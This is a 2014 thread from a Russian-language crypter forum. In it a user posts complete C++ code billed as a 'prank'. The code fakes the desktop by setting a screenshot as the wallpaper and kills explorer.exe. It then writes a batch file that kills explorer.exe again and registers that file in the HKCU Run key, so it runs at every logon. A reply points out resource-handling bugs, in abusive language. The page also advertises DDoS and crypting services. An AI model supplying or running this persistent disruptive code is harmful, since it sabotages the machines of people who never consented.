FuckAV - Форум о крипторах

Анонимный антивирусный сканер VPN-сервис
[Copi]Team DDoS Service

SEO статьи - блог от создателя FuckAV | KOROVKA.so | Качественный VPN Service MultiVPN - PPTP/OpenVPN/DoubleVPN

Реклама на форуме | Помощь форуму | Аварийный блог

Наш Jabber-сервер расположен по адресу fuckav.in. Добро пожаловать!!!

Вернуться  

Для того, чтобы ответить в теме, необходимо зарегистрироваться.
 
Опции темы Опции просмотра
Старый 14-01-2014   #1
IBM

xor esp, esp
 
Аватар для IBM

Последняя активность:
1 день назад
Регистрация: 30.11.2013
Сообщений: 76
Поблагодарили всего: 160
за это сообщение: 8
По умолчанию [C++] Шутка с помощью скриншота экрана

Всем привет.

Предоставленный ниже код делает следующее:

Сворачивает все окна ( Win + D )
Делает скриншот экрана
Ставит этот скриншот экрана на обои рабочего стола
Убивает explorer.exe
Записывает на автозапуск батник, который убивает explorer.exe

Цель выкладывания этого кода была проста:

1) Показать, как делаются скриншоты
2) Показать передачу команд в командную строку
3) показать, как установить обои для рабочего стола
4) Показать работу с реестром
5) Показать запись в файл
6) Показать эмуляцию нажатия клавиш

В коде разобраться не сложно, если вы знаете синтаксис языка.



Код:
#include <windows.h>
#include <shellapi.h>
#include "stdio.h"

using namespace std;

int CaptureBMP(LPCTSTR szFile)
{
    HDC hdcScr, hdcMem;
    HBITMAP hbmScr;
    BITMAP bmp;
    int iXRes, iYRes;
    hdcScr = CreateDC("DISPLAY", NULL, NULL, NULL);
    hdcMem = CreateCompatibleDC(hdcScr);
 
    iXRes = GetDeviceCaps(hdcScr, HORZRES);
    iYRes = GetDeviceCaps(hdcScr, VERTRES);
    hbmScr = CreateCompatibleBitmap(hdcScr, iXRes, iYRes);
    if (hbmScr == 0) return 0;
    if (!SelectObject(hdcMem, hbmScr)) return 0;
    if (!StretchBlt(hdcMem,
        0, 0, iXRes, iYRes,
        hdcScr,
        0, 0, iXRes, iYRes,
        SRCCOPY))
        return 0;
    PBITMAPINFO pbmi;
    WORD cClrBits;
    if (!GetObject(hbmScr, sizeof(BITMAP), (LPSTR) &bmp)) return 0;
    cClrBits = (WORD)(bmp.bmPlanes * bmp.bmBitsPixel);
    if (cClrBits == 1)
        cClrBits = 1;
    else if (cClrBits <= 4)
        cClrBits = 4;
    else if (cClrBits <= 8)
        cClrBits = 8;
    else if (cClrBits <= 16)
        cClrBits = 16;
    else if (cClrBits <= 24)
        cClrBits = 24;
    else cClrBits = 32;
    if (cClrBits != 24)
        pbmi = (PBITMAPINFO) LocalAlloc(LPTR,
                sizeof(BITMAPINFOHEADER) +
                sizeof(RGBQUAD) * (1 << cClrBits));
    else
        pbmi = (PBITMAPINFO) LocalAlloc(LPTR,
                sizeof(BITMAPINFOHEADER));
    pbmi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
    pbmi->bmiHeader.biWidth = bmp.bmWidth;
    pbmi->bmiHeader.biHeight = bmp.bmHeight;
    pbmi->bmiHeader.biPlanes = bmp.bmPlanes;
    pbmi->bmiHeader.biBitCount = bmp.bmBitsPixel;
    if (cClrBits < 24)
        pbmi->bmiHeader.biClrUsed = (1 << cClrBits);
     pbmi->bmiHeader.biCompression = BI_RGB;
    pbmi->bmiHeader.biSizeImage = (pbmi->bmiHeader.biWidth + 7) / 8
                                    * pbmi->bmiHeader.biHeight * cClrBits;
    pbmi->bmiHeader.biClrImportant = 0;
    HANDLE hf;                
    BITMAPFILEHEADER hdr;    
    PBITMAPINFOHEADER pbih;  
    LPBYTE lpBits;         
    DWORD dwTotal;             
    DWORD cb;                  
    BYTE *hp;                  
    DWORD dwTmp;
 
    pbih = (PBITMAPINFOHEADER) pbmi;
    lpBits = (LPBYTE) GlobalAlloc(GMEM_FIXED, pbih->biSizeImage);
    if (!lpBits) return 0;
    if (!GetDIBits(hdcMem, hbmScr, 0, (WORD) pbih->biHeight, lpBits, pbmi, DIB_RGB_COLORS)) return 0;
     hf = CreateFile(szFile,
                    GENERIC_READ | GENERIC_WRITE,
                    (DWORD) 0,
                    NULL,
                    CREATE_ALWAYS,
                    FILE_ATTRIBUTE_NORMAL,
                    (HANDLE) NULL);
    if (hf == INVALID_HANDLE_VALUE) return 0;
 
    hdr.bfType = 0x4d42;
     hdr.bfSize = (DWORD) (sizeof(BITMAPFILEHEADER) +
                 pbih->biSize + pbih->biClrUsed *
                 sizeof(RGBQUAD) + pbih->biSizeImage);
    hdr.bfReserved1 = 0;
    hdr.bfReserved2 = 0;
     hdr.bfOffBits = (DWORD) sizeof(BITMAPFILEHEADER) +
                    pbih->biSize + pbih->biClrUsed *
                    sizeof (RGBQUAD);
    if (!WriteFile(hf, (LPVOID) &hdr, sizeof(BITMAPFILEHEADER), (LPDWORD) &dwTmp, NULL)) return 0;
    if (!WriteFile(hf, (LPVOID) pbih, sizeof(BITMAPINFOHEADER)
                + pbih->biClrUsed * sizeof (RGBQUAD),
                (LPDWORD) &dwTmp, NULL))
        return 0;
    dwTotal = cb = pbih->biSizeImage;
    hp = lpBits;
    if (!WriteFile(hf, (LPSTR) hp, (int) cb, (LPDWORD) &dwTmp, NULL)) return 0;
    if (!CloseHandle(hf)) return 0;
    GlobalFree((HGLOBAL)lpBits);
    ReleaseDC(0, hdcScr);
    ReleaseDC(0, hdcMem);
 
    return 1;
}

int main()
  {
  char Win[256], Target[256];
  GetWindowsDirectory(Win, sizeof(Win));
  strcpy(Target, Win);
  strcat(Target, "\\screen.bmp");
  keybd_event(VK_LWIN, 0, 0 ,0);
  keybd_event('D', 0, 0 ,0);
  keybd_event('D', 0, KEYEVENTF_KEYUP,0);
  keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP,0);
  Sleep(100);
  CaptureBMP(Target);
  SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Target, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
  ShellExecute(0, "open", "cmd.exe", "/c taskkill /im explorer.exe /f", Win, SW_HIDE);
  FILE *explorer=fopen(strcat(Win, "\\explorer.bat"), "w");
  fprintf(explorer, "@Echo Off\ntaskkill /im explorer.exe /f");
  fclose(explorer);   
  HKEY key;
  RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0,KEY_WRITE, &key);
  RegSetValueEx(key,"explorer",0,REG_SZ,(BYTE *)Win,256);
  RegCloseKey(key); 
  }
IBM вне форума  
Сказали спасибо:
sifenks (13-02-2014), SysWOW64 (10-02-2014), GK104 (09-02-2014), fullhack (09-02-2014), sllrdp (05-02-2014), upO (05-02-2014), Dave (15-01-2014), POCT (14-01-2014)
Старый 04-02-2014   #2
Mr.Burns

Windows 95

Последняя активность:
10-02-2014
Регистрация: 07.11.2010
Сообщений: 115
Поблагодарили всего: 87
за это сообщение: 7
По умолчанию Re: [C++] Шутка с помощью скриншота экрана

Цитата:
Сообщение от Nu11ers3t Посмотреть сообщение
if (!WriteFile(hf, (LPSTR) hp, (int) cb, (LPDWORD) &dwTmp, NULL)) return 0;
if (!CloseHandle(hf)) return 0;
Т.е. если что-то не удалось - забиваем хуй на освобождение памяти и контекстов, ага.


Цитата:
Сообщение от Nu11ers3t Посмотреть сообщение
hdcScr = CreateDC("DISPLAY", NULL, NULL, NULL);
Цитата:
Сообщение от Nu11ers3t Посмотреть сообщение
ReleaseDC(0, hdcScr);
Цитата:
An application cannot use the ReleaseDC function to release a DC that was created by calling the CreateDC function; instead, it must use the DeleteDC function. ReleaseDC must be called from the same thread that called GetDC.
Дальше эту ересь не смотрел - глаза выело нахуй. В коде разобраться действительно не сложно, как и в какашечной жиже в твоем черепке. Ещё, блядь, учит, сука. Про скриншоты, блядь, про командную строку нахуй. Ну охуеть блядь. Учитель, в рот тебе бейсик.
Mr.Burns вне форума  
Сказали спасибо:
Moriarti (06-05-2014), n00b (16-02-2014), sifenks (13-02-2014), Dark Koder (10-02-2014), chef (08-02-2014), irenica (08-02-2014), olegteror (04-02-2014)
Старый 08-02-2014   #3
IBM
Topic starter

xor esp, esp
 
Аватар для IBM

Последняя активность:
1 день назад
Регистрация: 30.11.2013
Сообщений: 76
Поблагодарили всего: 160
за это сообщение: 5
По умолчанию Re: [C++] Шутка с помощью скриншота экрана

Mr.Burns, прежде чем писать, иди сам что нибудь выложи. Толку ноль от тебя, только мозги всем ебешь.
IBM вне форума  
Сказали спасибо:
upO (10-02-2014), SysWOW64 (10-02-2014), POCT (10-02-2014), Dark Koder (10-02-2014), GK104 (09-02-2014)
Для того, чтобы ответить в теме, необходимо зарегистрироваться.

Метки
bmiheader, radikal, rofl, блядь, давай, даже, нахуй, помощью, пост, скриншота, шутка, экрана


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы
Опции просмотра
Комбинированный вид Комбинированный вид

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Копия экрана скрытого окна. Tamplier7777 Помощь 3 21-08-2013 10:44
Шутка в League of Legends может стоить школьнику 8 лет свободы chef Новости 7 15-07-2013 20:44
Apple удалось зарегистрировать патент на жест разблокировки экрана KpuMuHaJl Новости 0 27-10-2011 05:32
Троян с помощью Metasploit RoMu4 Статьи 12 09-12-2010 15:13
как отклбчить с помощью bat Alt+Tab ? madlian Помощь 0 08-05-2010 22:57

Часовой пояс GMT +3, время: 04:11.



Powered by vBulletin® Copyright ©2000 - 2014, Jelsoft Enterprises Ltd. Перевод: zCarot
Други: SEO блог Deymos'a| ProLogic.Su| DServers.ru| Форум веб-мастеров